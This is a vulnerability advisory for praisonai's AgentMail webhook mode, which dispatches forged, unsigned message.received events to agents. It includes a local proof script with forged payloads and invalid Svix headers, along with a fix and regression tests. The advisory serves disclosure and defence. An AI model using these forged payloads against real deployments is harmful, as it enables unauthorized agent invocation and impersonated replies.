PT-2026-107649 · Pypi · Praisonai
CVE-2026-62172
·
Published
2026-10-07
·
Updated
2026-10-07
CVSS v3.1
8.6
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L |
AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
Summary
praisonai AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled message.received JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.Technical Details
The affected boundary is webhook authenticity. AgentMail's webhook verification documentation says AgentMail delivers webhooks through Svix and includes
svix-id, svix-timestamp, and svix-signature headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as AGENTMAIL WEBHOOK SECRET, before trusting the event body. AgentMail's documented verified payload examples route on event type; the forged payload below intentionally uses PraisonAI's accepted handler shape, type plus data, because that is the shape handle email webhook() accepts before any signature verification.src/praisonai/praisonai/bots/agentmail.py exposes webhook mode through AgentMailBot(mode=...) or a BotConfig whose mode is webhook. In start webhook mode(), PraisonAI registers POST {webhook path} and binds the aiohttp site to 0.0.0.0 on the configured webhook port. When config.webhook url is set, the same method calls client.webhooks.create(url=..., event types=["message.received"], inbox ids=...), but it does not store or use the returned webhook secret.The handler then trusts the parsed JSON body.
handle email webhook() calls await request.json(), reads body.get("type", ""), and if the value is message.received, schedules process webhook payload(body) and returns 200 OK. It does not read the raw body, inspect request headers, verify svix-id, verify svix-timestamp, verify svix-signature, or check any webhook secret before scheduling the event. process webhook payload() builds a BotMessage from attacker-controlled JSON fields: data.message id, data.from/data.from , data.subject, data.extracted text/data.text, data.thread id, and data.in reply to. It then calls handle message(message). handle message() fires message hooks, calls self. session.chat(self. agent, sender id, body, ...), and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.This report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed
MessageReceivedEvent instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.PoV
the PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.
The forged JSON uses PraisonAI's accepted webhook-handler shape: a top-level
type field with value message.received and a nested data object. This is not presented as the canonical signed AgentMail payload shape; AgentMail's verification documentation shows verified messages using event type after Svix verification. The issue is that PraisonAI accepts the unauthenticated type/data body and dispatches it before verifying that the request came from AgentMail.Essential PoV excerpt:
python
class FakeRequest:
def init (self, body, headers=None, json error=False):
self. body = body
self.headers = headers or {}
self. json error = json error
async def json(self):
if self. json error:
raise ValueError("invalid json")
return self. body
bot = AgentMailBot(
token="am local test",
agent=object(),
inbox id="assistant@example.test",
config=BotConfig(mode="webhook", webhook path="/webhook"),
)
bot. inbox id = "assistant@example.test"
bot. email address = "assistant@example.test"
bot. config = {}
bot. session = RecordingSession()
payload = {
"type": "message.received",
"data": {
"message id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Forged invalid signature",
"extracted text": "invalid signature forged body",
},
}
headers = {
"svix-id": "msg bad",
"svix-timestamp": "1",
"svix-signature": "v1,definitely-invalid",
}
response = await bot. handle email webhook(FakeRequest(payload, headers=headers))
await asyncio.sleep(0)Expected vulnerable behavior: the response status is
200, the invalid Svix signature is ignored, and the fake session records one agent call with sender id set to attacker@example.test and body set to invalid signature forged body.PoC
Current head tested:
text
846568c7a5d8ce9e71e56e4c213f027c04909753Run against a local checkout of current head:
fish
python3 pov agentmail webhook forgery.py --repo /path/to/PraisonAI --label current-head-846568cDecisive current-head output:
json
{
"label": "current-head-846568c",
"vulnerable": true,
"cases": {
"forged unsigned message": {
"http status": 200,
"session delta": 1,
"send delta": 1
},
"forged invalid svix signature": {
"http status": 200,
"session delta": 1,
"send delta": 1
},
"invalid json control": {
"http status": 400,
"session delta": 0
},
"non message event control": {
"http status": 200,
"session delta": 0
},
"duplicate message control": {
"http status": 200,
"session delta": 0
}
}
}Run against the latest release tag observed during testing:
fish
python3 pov agentmail webhook forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47Decisive
v4.6.62 output:json
{
"label": "v4.6.62-2a855c47",
"vulnerable": true,
"cases": {
"forged unsigned message": {
"http status": 200,
"session delta": 1,
"send delta": 1
},
"forged invalid svix signature": {
"http status": 200,
"session delta": 1,
"send delta": 1
},
"invalid json control": {
"http status": 400,
"session delta": 0
},
"non message event control": {
"http status": 200,
"session delta": 0
},
"duplicate message control": {
"http status": 200,
"session delta": 0
}
}
}Interpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return
200 and reach the agent session once. Invalid JSON returns 400 without an agent call, non-message.received events are ignored, and repeated message id values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.Impact
If a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.
The concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.
This report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.
Suggested severity: High. Suggested CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (8.6). Suggested CWEs: CWE-347 Improper Verification of Cryptographic Signature, CWE-306 Missing Authentication for Critical Function, and CWE-287 Improper Authentication.Suggested Fix
Fail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by
client.webhooks.create(...), or require an explicit agentmail webhook secret/AGENTMAIL WEBHOOK SECRET configuration value for existing webhook endpoints.Verify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid
svix-id, svix-timestamp, and svix-signature headers before scheduling process webhook payload(). Do not use await request.json() as the verification input; signature verification needs the exact raw body bytes.Suggested regression tests:
- webhook mode without a configured signing secret refuses startup or returns
401/400formessage.received; - missing Svix headers do not call
process webhook payload(); - invalid Svix signature does not call
process webhook payload(); - stale timestamp does not call
process webhook payload(); - valid Svix signature for the raw body reaches
process webhook payload(); - duplicate
message idbehavior remains intact after verification succeeds.
Affected Package/Versions
Affected package:
pypi:praisonai.Latest PyPI version observed during testing:
4.6.62. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected. Latest release tag v4.6.62 at commit 2a855c470077c7d2e2479a575f7ef7f548d51c33 is affected.Sampled tag sweep:
text
v4.4.12 agentmail absent
v4.5.16 agentmail absent
v4.5.128 present unsigned webhook
v4.6.33 present unsigned webhook
v4.6.58 present unsigned webhook
v4.6.59 present unsigned webhook
v4.6.60 present unsigned webhook
v4.6.62 present unsigned webhook
current present unsigned webhookConservative suggested affected range: AgentMail webhook-bearing
praisonai releases at least >= 4.5.128, <= 4.6.62, plus current head. The component was absent in sampled tags v4.4.12 and v4.5.16. No fixed version or fix commit was observed.Advisory History
Visible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix
message.received events and dispatching them into AgentMailBot. handle message().Nearby advisories are distinct:
GHSA-fc26-m9pf-v56q, "PraisonAI LinearBot processes unsigned webhooks when LINEAR WEBHOOK SECRET is missing", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path.GHSA-x92v-rpx6-p6cw, "Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery.GHSA-qvpf-j64c-jmhr, "PraisonAI Slack app mention bypasses configured user/channel authorization", covers Slack event authorization, not AgentMail webhook authenticity.GHSA-vg22-4gmj-prxw/CVE-2026-47391cover unauthenticated A2Amessage/send, not AgentMail webhooks.GHSA-86qc-r5v2-v6x6covers the call server token gap, not AgentMail webhook delivery.
Public Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail
message.received dispatch path.References
- AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification
- AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create
- PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q
- PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw
- PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr
- MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html
- MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html
- MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html
Appendix A - Full PoV Script
python
#!/usr/bin/env python3
"""PoV for PraisonAI AgentMail webhook authenticity.
The script calls the AgentMail webhook handler directly with fake aiohttp
requests. It does not bind a port, contact AgentMail, or send email.
"""
from future import annotations
import argparse
import asyncio
import json
import sys
import types
from pathlib import Path
from typing import Any
class FakeResponse:
def init (self, status: int = 200, text: str = "", content type: str | None = None):
self.status = status
self.text = text
self.content type = content type
class FakeRequest:
def init (self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json error: bool = False):
self. body = body
self.headers = headers or {}
self. json error = json error
async def json(self) -> dict[str, Any]:
if self. json error:
raise ValueError("invalid json")
return self. body or {}
class RecordingSession:
def init (self) -> None:
self.calls: list[dict[str, Any]] = []
async def chat(self, agent: object, sender id: str, body: str, **kwargs: Any) -> str:
self.calls.append(
{
"sender id": sender id,
"body": body,
"chat id": kwargs.get("chat id"),
"message id": kwargs.get("message id"),
"account": kwargs.get("account"),
}
)
return "local agent response"
def install fake aiohttp() -> None:
web = types.SimpleNamespace(Response=FakeResponse)
sys.modules["aiohttp"] = types.SimpleNamespace(web=web)
def configure import path(repo: Path) -> None:
sys.path.insert(0, str(repo / "src" / "praisonai"))
sys.path.insert(0, str(repo / "src" / "praisonai-agents"))
async def run case(bot: Any, request: FakeRequest, sleep ticks: int = 2) -> dict[str, Any]:
before calls = len(bot. session.calls)
before sends = len(bot. sent messages)
response = await bot. handle email webhook(request)
for in range(sleep ticks):
await asyncio.sleep(0)
return {
"http status": response.status,
"session delta": len(bot. session.calls) - before calls,
"send delta": len(bot. sent messages) - before sends,
"session calls": bot. session.calls[before calls:],
"sent messages": bot. sent messages[before sends:],
}
async def main async(repo: Path, label: str) -> dict[str, Any]:
install fake aiohttp()
configure import path(repo)
from praisonai.bots.agentmail import AgentMailBot
from praisonaiagents.bots import BotConfig
bot = AgentMailBot(
token="am local test",
agent=object(),
inbox id="assistant@example.test",
config=BotConfig(mode="webhook", webhook path="/webhook"),
)
bot. inbox id = "assistant@example.test"
bot. email address = "assistant@example.test"
bot. config = {}
bot. session = RecordingSession()
bot. sent messages = []
async def fake send message(**kwargs: Any) -> None:
bot. sent messages.append(kwargs)
bot.send message = fake send message
invalid svix headers = {
"svix-id": "msg bad",
"svix-timestamp": "1",
"svix-signature": "v1,definitely-invalid",
}
cases: dict[str, Any] = {}
cases["forged unsigned message"] = await run case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message id": "msg-forged-unsigned",
"from": "attacker@example.test",
"subject": "Forged unsigned message",
"extracted text": "unsigned forged body",
},
}
),
)
cases["forged invalid svix signature"] = await run case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Forged invalid signature",
"extracted text": "invalid signature forged body",
},
},
headers=invalid svix headers,
),
)
cases["invalid json control"] = await run case(bot, FakeRequest(None, json error=True))
cases["non message event control"] = await run case(
bot,
FakeRequest(
{
"type": "domain.verified",
"data": {
"message id": "msg-non-message",
"from": "attacker@example.test",
"extracted text": "should not be processed",
},
}
),
)
cases["duplicate message control"] = await run case(
bot,
FakeRequest(
{
"type": "message.received",
"data": {
"message id": "msg-forged-invalid-svix",
"from": "attacker@example.test",
"subject": "Duplicate",
"extracted text": "duplicate should not create a second call",
},
},
headers=invalid svix headers,
),
)
vulnerable = (
cases["forged unsigned message"]["http status"] == 200
and cases["forged unsigned message"]["session delta"] == 1
and cases["forged invalid svix signature"]["http status"] == 200
and cases["forged invalid svix signature"]["session delta"] == 1
and cases["invalid json control"]["http status"] == 400
and cases["invalid json control"]["session delta"] == 0
and cases["non message event control"]["session delta"] == 0
and cases["duplicate message control"]["session delta"] == 0
)
return {
"label": label,
"repo": str(repo),
"vulnerable": vulnerable,
"finding": "AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session",
"cases": cases,
}
def main() -> int:
parser = argparse.ArgumentParser()
parser.add argument("--repo", type=Path, required=True)
parser.add argument("--label", default="current-head")
args = parser.parse args()
result = asyncio.run(main async(args.repo.resolve(), args.label))
print(json.dumps(result, indent=2, sort keys=True))
return 0 if result["vulnerable"] else 1
if name == " main ":
raise SystemExit(main())Fix
Improper Authentication
Improper Verification of Cryptographic Signature
Missing Authentication
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Praisonai